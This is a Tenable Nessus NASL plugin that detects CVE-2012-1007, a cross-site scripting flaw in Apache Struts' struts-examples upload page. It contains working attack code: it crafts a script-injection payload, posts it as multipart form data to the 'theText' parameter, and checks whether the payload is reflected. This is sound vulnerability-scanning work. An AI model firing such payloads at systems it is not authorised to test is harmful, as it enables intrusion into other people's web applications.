Apache Struts struts-examples upload-submit.do 'theText' Parameter XSS

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(60094);
  script_version("1.11");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2012-1007");
  script_bugtraq_id(51900);
  script_xref(name:"EDB-ID", value:"18452");

  script_name(english:"Apache Struts struts-examples upload-submit.do 'theText' Parameter XSS");

  script_set_attribute(attribute:"synopsis", value:
"A remote web application is vulnerable to a cross-site scripting
attack.");
  script_set_attribute(attribute:"description", value:
"The remote web server hosts struts-examples, a demonstration
application for the Struts framework. Input passed via the 'theText'
POST parameter to the 'upload-submit.do' page is not properly
sanitized before using it to generate dynamic HTML. 

By tricking a user into clicking on a specially crafted link, an
attacker can exploit this to inject arbitrary HTML and script code
into a user's browser to be executed within the security context of
the affected site.");
  script_set_attribute(attribute:"see_also", value:"http://secpod.org/blog/?p=450");
  # http://secpod.org/advisories/SecPod_Apache_Struts_Multiple_Parsistant_XSS_Vulns.txt
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?d16eaf1b");
  script_set_attribute(attribute:"solution", value:
"Remove or restrict access to the Struts-examples application.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/02/01");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/07/23");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses : XSS");

  script_copyright(english:"This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");

port = get_http_port(default:8080);

# Loop through directories.
dirs = list_uniq(make_list("/struts-examples",cgi_dirs()));
if (thorough_tests) 
{
  struts_1x_versions = make_list("1.3.10","1.3.8","1.3.5","1.2.9","1.2.8","1.2.7","1.2.4", "1.1", "1.0.2");

  foreach ver (struts_1x_versions)
    dirs = list_uniq(make_list(dirs, "/struts-examples-" + ver));
}

xss_string = "<script>alert('" + SCRIPT_NAME + '_' + rand_str() + "');</script>";

attack_page = "/upload/upload-submit.do?queryParam=Successful";
verify_page = "/upload/upload-submit.do";

report_requests = make_list();
foreach dir (dirs)
{
  verify_url = dir + verify_page;
  res = http_send_recv3(method:"GET", 
                        port:port, 
                        item:verify_url, 
                        exit_on_fail:TRUE);
  if (
    "upload-submit.do" >< res[2] && 
    "<title>File Upload Example</title>" >< res[2]
  )
  {
    bound = "nessus";
    boundary = "--" + bound;
    postdata = 
      boundary + '\r\n' +
      'Content-Disposition: form-data; name="theText"\r\n' +
      '\r\n' +
      xss_string + '\r\n' +

      boundary + '\r\n' + 
      'Content-Disposition: form-data; name="theFile"; filename=""\r\n' +
      'Content-Type: application/octet-stream\r\n' +
      '\r\n\r\n' +

      boundary + '\r\n' +
      'Content-Disposition: form-data; name="filePath"\r\n' +
      '\r\n\r\n' +
      boundary + '--\r\n';

    attack_url = dir + attack_page;

    res = http_send_recv3(method:"POST", 
                    port:port, 
                    item:attack_url, 
                    content_type: "multipart/form-data; boundary="+bound,
                    data:postdata, 
                    exit_on_fail:TRUE);
    
    if ('&nbsp;' + xss_string + '<' >< res[2])
    { 
      report_requests = make_list(report_requests, http_last_sent_request()); 
      output = strstr(res[2], xss_string);
      if (!thorough_tests) break;
    } 
  }
}

if (max_index(report_requests) > 0)
{
  security_report_v4(
    port       : port,
    severity   : SECURITY_WARNING,
    generic    : TRUE,
    line_limit : 5,
    xss        : TRUE,  # Sets XSS KB key
    request    : report_requests,
    output     : chomp(output)
  );
  exit(0);
}
else exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');